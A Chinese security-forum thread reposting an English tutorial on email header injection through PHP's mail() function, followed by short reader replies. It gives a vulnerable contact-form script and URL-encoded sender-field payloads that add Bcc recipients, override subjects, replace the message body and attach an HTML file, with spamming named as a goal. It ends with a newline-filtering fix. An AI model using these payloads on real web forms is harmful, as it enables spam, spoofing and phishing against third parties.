发新话题
打印

[讨论]Email 注射研究

[讨论]Email 注射研究

议题提交:swords[E.S.T]
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

测试下不成功,郁闷的要死,大家可以测试一下.

以下是原文:
There are a lot of ways to send anonymous emails, some use it to mass mail, some use it to spoof identity, and some (a few) use it to send email anonymously. Usually a web mailform using the mail() function generates emails containing headers with the originating IP of the server it's running on. Therefore the mailform acts as a SMTP proxy. The input fields of the form may vary, but it is common to specify a mailform that gives you control over the subject, the message, and the sender's email address.

Function usage : mail([RECIPIENT],[SUBJECT],[MESSAGE],[EXTRAHEADERS], [EXTRAPARAMS]); (mail() (http://www.php.net/function.mail))

Extra params are not commonly fed from user input, so we'll skip this part. Since most webmasters carefully hardcode the recipient's email address into the contact form of their web application, one might think this sets a limit to the way this kind of script can be exploited (but one is wrong!)..

Here's an example of code we'll base our analysis on :




<?php
$to="webmaster@website.com";
if (!isset($_POST["send"])){
  // no post data -> display form
  ? >
  <form method="POST" action="<?=$_SERVER[&#39;PHP_SELF&#39;];?>">
  To: webmaster@website.com
  From: <input type="text" name="sender">
  Subject : <input type="text" name="subject">
  Message :
  <textarea name="message" rows="10" cols="60" lines="20"></textarea>
  <input type="submit" name="send" value="Send">
  </form>
  <?
}else{
  // found post data .. deal with it
  $from=$_POST[&#39;sender&#39;];
  // send mail :
  if (mail($to,$_POST[&#39;subject&#39;],$_POST[&#39;message&#39;],"From: $from\n")){
    // display confirmation message if mail sent successfully
    echo "Your mail was indeed sent to $to.";
}else{
  // sending failed, display error message
   echo "Doh! Your mail could not be sent.";
  }
}
?>



When looking at the html form or at the code it seems obvious one cannot choose the recipient email address as it is hardcoded in the script. However it is possible to choose the subject, the message, and the sender email address (From: header).

Using php mail() function roughly works as follows:

<?php mail($recipient,$subject,$message,$headers); ?>
.. and will produce a raw output :

To: $recipient
Subject: $subject
$headers

$message
Thus when calling the function as follows :

<?php mail("recipient@victim.xxx","Hello","Hi,\nYour site is great.\nBye","From: sender@anonymous.xxx\n"); ?>
.. the raw output data looks like this :

To: recipient@victim.xxx
Subject: Hello
From: sender@anonymous.xxx

Hi,
Your site is great.
Bye

The php code for the mailform provided earlier shows that the most interesting part the user can choose to feed in the form is the sender email address, because it is directly displayed inside the headers. In this example it is possible to modify or add other headers then the &#39;From:&#39; using this form. Of course the &#39;message&#39;, &#39;To&#39; and &#39;Subject&#39; fields could also be used to inject some data but the mail() function and the RFC specifications would filter any content given to those fields to prevent it from being abused.

What&#39;s the point of injecting email headers ? In this context, the target it to be able to send anonymous emails to other recipients. There are numerous additional fields that can be specified in the mail headers (see [RFC 822]). For example le &#39;Cc&#39; (Carbon Copy), which sends a copy of the message to the email addresses given as arguments. A better choice is to use the &#39;Bcc&#39; (Blinc Carbon Cooy) which sends a carbon copy ot the message just like with the &#39;Cc&#39; header, except that the recipiends email addresses given as arguments are not shown to the multiple recipients&#39; headers. As specified in the [RFC 822], one must add a line feed for every header. The <LF> (line feed) char has a hexadecimal value of 0x0A.

Thus by providing the following values to the example script of this article :

- Sender :

"sender@anonymous.www%0ACc:recipient@someothersite.xxx%0ABcc:somebloke@grrrr.xxx,someotherbloke@oooops.xxx"
- Subject :

"ahem"
- Message :

"My Message..."
The email&#39;s raw data will look like this :

To: recipient@victim.xxx
Subject: ahem
From: sender@anonymous.xxx
Cc:recipient@someothersite.xxx
Bcc:somebloke@grrrr.xxx,someotherbloke@oooops.xxx

My Message...
... mail headers injected successfully ! Despite the fact that the only header value the html form allows to specify if the &#39;From&#39;, the resulting email has been sent to three people of our choice : recipient@someothersite.xxx, somebloke@grrrr.xxx and someotherbloke@oooops.xxx

In the last example, both &#39;Cc&#39; and &#39;Bcc&#39; headers have bee used to perform the injection. It would also have been possible to use the &#39;To&#39; header, the last value is added (just like in the "Cc" and "Bcc" fields) to the hardcoded email address of the webmaster.




Let&#39;s keep the same value for subject and message, and give the following value to the sender :

email@anonymous.xxx%0ATo:email1@who.xxx
the mail output is :

To: recipient@victim.xxx
Subject: Hum
From: email@anonymous.xxx
To:email1@who.xxx

My Message...
Repeating the &#39;To&#39; header won&#39;t be a problem, the mail will be sent to recipient@victim.xxx AND email1@who.xxx.

Now let&#39;s consider a more restrictive purpose to send anonymous emails : spamming

Many sites provide the possibility to "email this page to a friend" through a web form, the resulting email softly suggests to "visit our website" on behalf of the user that filled in the form with his personal email address, and the email address of the friend he wants the page to be emailed to :

<?php
  $subject="Visit our site www.website.xxx !";
  $message="Hello,\nA friend thought you might want to see this page : www.website.xxx.\nBye Bye.";
  if (!isset($_POST["send"])){
   // no post data, display form
  ? >
  <form method="POST" action="<?=$_SERVER[&#39;PHP_SELF&#39;];?>">
  A : <input type="text" name="recipiend">
  De: <input type="text" name="sender">
  <input type="submit" name="send" value="Send">
  </form>
  <?
}else{
  // found post data
  $from=$_POST[&#39;sender&#39;];
  $to=$_POST[&#39;recipient&#39;];
  // send mail :
  if (mail($to,$subject,$message,"From: $from\n")){
    // success
    echo "Mail sent successfully to $to.";
  }else{
    // failure
    echo "Doh ! Sending failed.";
  }
}
?>
Even though the subject and the message are hardcoded, there is still a way to inject headers (we already know how to add recipients). As covered earlier in this article, we saw that the &#39;To&#39; header can be sent twice, the &#39;Subject&#39; header is not an exception to this rule, and so it is for numerous other headers...

By providing a recipient address

buddy@pal.xxx
and a sender address

misterburns@springfield.xxx%0ASubject:My%20Anonymous%20Subject
the email body will look like this :

To: buddy@pal.xxx
Subject: Visit our site www.website.xxx !
From: misterburns@springfield.xxx
Subject: My Anonymous Subject

Hello,
A friend thought you might want to see this page : www.website.xxx.
Bye Bye
The subject "My Anonymous Subject" will be added to "Visit our site www.website.xxx !", and in some cases will replace it (depending on the mail services, smtp relays, mail client, etc). For example hotmail displays the added subject inside the message.

Let&#39;s see now how to alter the message body. The difference between the body and the headers is that the body cannot be identified by its name (From, To, etc); there is no such &#39;Message&#39; header existing in the [RFC 822]. And that&#39;s exactly how we will alter this part of the mail, a <LF> with no header name means that the message body started.

So instead of specifying a <LF> and a header name, we will just add a <LF> and give our message.

As both &#39;To&#39; and &#39;Subject&#39; headers are already defined, the resulting output will contain both the older message and the injected message, except that instead of being appended, it will be prepended.

Say we provide this sender :

badguy@badboys.com%0A%0AMy%20New%20%0AAnonymous%20Message.
then the email will look like this :

To: buddy@pal.xxx
Subject: Visit our site www.website.xxx !
From: badguy@badboys.com

My New
Anonymous Message.

Hello,
A friend thought you might want to see this page : www.website.xxx.
Bye Bye
we can clearly see the that the new message :

My New
Anonymous Message
is prepended to the old message :

Hello,
A friend thought you might want to see this page : www.website.xxx.
Bye Bye
to finally give this message

My New
Anonymous Message

Hello,
A friend thought you might want to see this page : www.website.xxx.
Bye Bye
There are more headers than "Cc", "Bcc","To","Subject" and "From" but this article will not cover all of them as they are not especially helpful for this article. However the "Content-Type" header can be very useful : this header has a default value set as "plain/text".

It is possible to re-define this header as "text/html", and then provide some html content to the message by giving this value to the sender&#39;s email address :

haxor@attack.com%0AContent-Type:text/html%0A%0AMy%20%New%0A<u>HTML%20Anonymous%20Message.</u>%0A
the email sent will look like :

To: buddy@pal.xxx
Subject: Visit our site www.website.xxx !
From: haxor@attack.com
Content-Type:text/html

My New
<u>HTML Anonymous Message.</u>

Hello,
A friend thought you might want to see this page : www.website.xxx.
Bye Bye
when displayed, this email will have the text "HTML Anonymous Message." underlined.

The mail() function respects the MIME (http://www.mhonarc.org/~ehood/MIME/) encoding. By knowing this, the header "Content-Type" can be used in different ways for injection purposes. The MIME (http://www.mhonarc.org/~ehood/MIME/) encoding (Multipurpose Internet Mail Extensions) can be used - in addition to send html mails - to attach files (sound, image, txt, etc).

The fact is that the header "Content-Type" can be re-defined as "multipart/mixed" (or "multipart/alternative" or "multipart/related"), even though it was already defined previously.

The injection possibility for this header is that the "multipart/mixed" can help us to separate the mail in several parts.

Here&#39;s an example in MIME (http://www.mhonarc.org/~ehood/MIME/) format, with one recipient part :

To: recip@ient.xxx
Subject: Good Luck
From: sender@spoofed.xxx
Content-Type: multipart/mixed; boundary="MyBoundary";
Hidden Text1
--MyBoundary
Content-Type: plain/text;

Good Luck for you work,
bye

--MyBoundary--
Hidden Text2

First we see the header "To", "Subject" and "From" then the "Content-Type" defined as "multipart/mixed", then the "boundary" line which value is "MyBoundary". This boundary stuff is used as a separator (see [RFC 822] for detailed info) inside the message. It is also used to set the beginning/end of the first/last part ( "--[THE BOUNDARY]" ). Note : "[THE BOUNDARY]" can be replaced by any (US/ASCII [:alnum:]) value. Then we see a line "Hidden Text1". This text will not be visible to the recipient, because it is located before the first "boundary" declaration. Then we see the "--MyBoundary" line, announcing the beginning of the first message, and then, just after the "Content-Type" header (which will define the content type of this specific message part), some simple text. Then we see the message, and the line "--MyBoundary--", announcing the end of the email, and consequently having the last part "Hidden Text2" hidden to most web clients.

Now the originating message and subject, both hardcoded in php, are ignored. So by providing the following value to the sender :

haxor@attack.com%0AContent-Type:multipart/mixed;%20boundary=frog;%0A--frog%0AContent-Type:text/html%0A%0A<b>My%20Message.</b>%0A--frog--
we get :

To: recip@ient.xxx
Subject: Visit www.website.xxx !
From: haxor@attack.xxx
Content-Type:multipart/mixed; boundary=frog;
--frog
Content-Type:text/html

<b>My Message.</b>
--frog--

Hello,
A friend thought you might want to see this page : www.website.xxx.
Bye Bye
and the message recieved by "recip@ient.xxx" is a HTML message containing "<b>My Message.</b>" ("My Message." in Bold). The advertisement message (hardcoded) :

Hello,
A friend thought you might want to see this page : www.website.xxx.
Bye Bye
.... is NOT displayed.

Note : boundary is sent with no quotes this time, just to show it applies event if magic_quotes_gpc=ON.

This method is applicable in different context. Imagine a script where &#39;sender&#39; can be specified and where some other field (like first name, last name, age, etc) is echoed in the message body once the form is submitted. In that case it is possible to get the same results (choose exactly what message the receipt will see) by providing the following value to the &#39;sender&#39; header :

haxor@attack.com%0AContent-Type:multipart/mixed;%20boundary=frog;%0A
and to the optional field (e.g nickname) :

%0A--frog%0AContent-Type:text/html%0A%0A<b>My%20Message.</b>%0A--frog--
the mail will look like :

To: ami@friends.xxx
Subject: Visit www.website.xxx !
From: haxor@attack.xxx
Content-Type:multipart/mixed; boundary=frog;

Hello,

A friend called
--frog
Content-Type:text/html

<b>My Message.</b>
--frog--
thought you might want to see this page : www.website.xxx.
Bye Bye
As you can see, the hardcoded message has been splitted in two. The value of the optional field (nickname) has been replaced by the injected message, and whatever is after the inserted text will NOT be shown in the mail client.

Now a last example, compiling all possibilities seen in this article, and more...

juste give this value to the sender :

haxor@attack.xxx%0ASubject:Ooops%0ABcc:target@nothappy.xxx%0AContent-Type:multipart/mixed;%20boundary=frog;%0A--frog%0AContent-Type:text/html%0A%0A<u>HTML%20Message.</u>%0A%0A--frog%0AContent-Type:text/html;name=Nastycode.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition:attachment%0A%0A<u>HTML%20File</u>%0A%0A--frog--%0A
email is sent as follows :

To: pal@friends.xxx
Subject: Visit www.website.xxx !
From: haxor@attack.xxx
Subject:Mwahahaha
Bcc:target@nothappy.xxx
Content-Type:multipart/mixed; boundary=frog;
--frog
Content-Type:text/html

<b>HTML Message.</b>

--frog--
Content-Type:text/html;name=Nastycode.html;
Content-Transfer-Encoding:8bit
Content-Disposition: attachment

<u>HTML File</u>

--frog--

Hello,
A friend thought you might want to see this page : www.website.xxx.
Bye Bye

So the sender is : "haxor@attack.xxx", the subject is : "Visit www.website.xxx ! Oooops". This email will be received by "pal@friends.xxx", and a carbon copy will be sent to "target@nothappy.xxx". The email content will be HTML :

<b>HTML Message.</b>
a file named "Nastycode.html" with content type "text/html" will be attached to the email :

<u>HTML File</u>

[panic]Okay, the problem has been described, now is a good time to panic... [/panic]


There are several ways to secure a script vulnerable to such injection attacks. First rule would be to filter user data, using regular expressions or string functions :

<?php
  $from=$_POST["sender"];
  if (eregi("\r",$from) || eregi("\n",$from)){
    die("Why ?? :(");
  }
?>
more regexps here (http://www.regexlib.com/Search.aspx?k=email)

We can see in the previous script that any occurence of "\r" or "\n" will make it die(). "\n" is equal to <LF> (Line Feed or 0x0A/%0A in hexadecimal), and "\r" is equal to <CR> (Carriage return or 0x0D/%0D in hexadecimal). Some chars like %0A%0D can be used as a substitute to %0A, but it is always the last char that is really dangerous.

/* to be concluded */

Two points to remember when watching injections :

Any existing data located *after* the injection point can be replaced.
Any data to be added will always be located *after* the injection point (ex : "From").
There is another good point to this security measure despite the fact that subject and recipient values passed to the mail() function are cleaned : when using Emacs, the "Fcc" header is also protected from injections. This "Fcc" field contains the name of one file and directs Emacs (http://www.gnu.org/software/emac ... e/Mail-Headers.html) to append a copy of the message to that file when you send the message. Although this works on Emacs (http://www.gnu.org/software/emac ... e/Mail-Headers.html), it is not possible with the PHP mail() function.

Other exploit possibilities related to the MIME vulnerabilites (http://groups.google.com/groups?q=mime+vulnerabilities) are not developped in this article
QQ:838468959

TOP

看了头都晕了,偶E文不是很好,还是整篇拿去编译吧!
此ID为马甲.多人使用.

TOP

引用:
下面是引用linzi于07-16-2005 12:38发表的:
看了头都晕了,偶E文不是很好,还是整篇拿去编译吧!
编译?
QQ:838468959

TOP

Cray if i read all of it...
i don&#39;t know if it sends the mail.what will go on?
hope 4 transl....
me=\"kEvin1986\" & chr(0) & \"at solitude\" msgbox len(me)  \' You can see somthing. msgbox me  \' But just part of it. \'i think i will hide part of myself

TOP

很新颖.一般写程序的都不会注意对PHP mail函数的参数进行检查
虽然一般to 的对象程序员硬编码到了PHP程序里面
但是作者利用编码达到可以发送给除了指定人员之外的其他地址
也就是利用有用到PHP MAIL函数的页面
来发送匿名邮件给第三者.
不过主要是被用来发送垃圾邮件拉.
个人比较厌恶垃圾邮件.
不过作者的思路确实很新颖
连入侵者都敢说自己在做网络安全。关键大家是真正为安全作过什么?

TOP

啊...明白了.
haxor@attack.xxx%0ASubject:Ooops%0ABcc:target@nothappy.xxx%0AContent-Type:multipart/mixed;%20boundary=frog;%0A--frog%0AContent-Type:text/html%0A%0A<u>HTML%20Message.</u>%0A%0A--frog%0AContent-Type:text/html;name=Nastycode.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition:attachment%0A%0A<u>HTML%20File</u>%0A%0A--frog--%0A
通过这段,其中的%0A...明白文章的意思...
如果说可以Inj进来的话,Mail中将可能存在附件\抄送\暗送\等功能,当然危害也不能小视.
但是如果单单没有解决掉编码的问题的话,PHP+Txt类型的程序可以直接解决到WEBSHELL...
MySQL+PHP的可以直接Update别人或INsert奇怪的数据史程序崩溃.......方法多样性的
me=\"kEvin1986\" & chr(0) & \"at solitude\" msgbox len(me)  \' You can see somthing. msgbox me  \' But just part of it. \'i think i will hide part of myself

TOP

引用:
下面是引用kevin1986于07-19-2005 00:49发表的:
啊...明白了.
haxor@attack.xxx%0ASubject:Ooops%0ABcc:target@nothappy.xxx%0AContent-Type:multipart/mixed;%20boundary=frog;%0A--frog%0AContent-Type:text/html%0A%0A<u>HTML%20Message.</u>%0A%0A--frog%0AContent-Type:text/html;name=Nastycode.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition:attachment%0A%0A<u>HTML%20File</u>%0A%0A--frog--%0A
通过这段,其中的%0A...明白文章的意思...
如果说可以Inj进来的话,Mail中将可能存在附件抄送暗送等功能,当然危害也不能小视.
但是如果单单没有解决掉编码的问题的话,PHP+Txt类型的程序可以直接解决到WEBSHELL...
.......
说明白点,PHP+Txt类型的程序可以直接解决到WEBSHELL...
???
QQ:838468959

TOP

这个%0A,我试了,不好用啊
QQ:838468959

TOP

TOP

发新话题